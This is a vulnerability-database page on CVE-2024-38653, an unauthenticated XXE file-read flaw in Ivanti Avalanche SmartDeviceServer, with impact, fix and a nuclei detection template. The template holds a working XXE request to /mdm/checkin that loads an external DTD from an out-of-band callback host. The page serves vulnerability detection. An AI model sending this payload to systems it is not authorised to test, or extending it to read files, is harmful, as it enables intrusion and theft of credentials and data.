HexBrain

Browse / CVEs / CVE-2024-38653

CVE-2024-38653· ivanti / avalanche· CWE-611

Ivanti Avalanche SmartDeviceServer - XML External Entity

highseverity
7.5CVSS score
92%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.

Impact

Unauthenticated attackers can read arbitrary files from the Ivanti Avalanche server, potentially exposing configuration files, credentials, and sensitive data managed by the device management system.

Fix

Upgrade to Ivanti Avalanche version 6.4.0 or later that addresses this XXE vulnerability.

How to confirm it

Send: PUT /mdm/checkin
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Java"

Run it with nuclei: nuclei -id CVE-2024-38653 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-38653

info:
  name: Ivanti Avalanche SmartDeviceServer - XML External Entity
  author: DhiyaneshDK
  severity: high
  description: |
    XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Ivanti Avalanche server, potentially exposing configuration files, credentials, and sensitive data managed by the device management system.
  remediation: |
    Upgrade to Ivanti Avalanche version 6.4.0 or later that addresses this XXE vulnerability.
  reference:
    - https://github.com/D4mianWayne/POCs/tree/main/CVE%202024-38653
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/cve-2024-38653
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38653
    cwe-id: CWE-611
    epss-score: 0.91984
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.1:*:*:*:premise:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
  tags: cve,cve2024,intrusive,ivanti,avalanche,xxe,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        PUT /mdm/checkin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE a [
        <!ENTITY % asd SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %asd;
        %c;
        ]>
        <a></a>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

References

Use this check only on systems you are authorised to test. Where the data comes from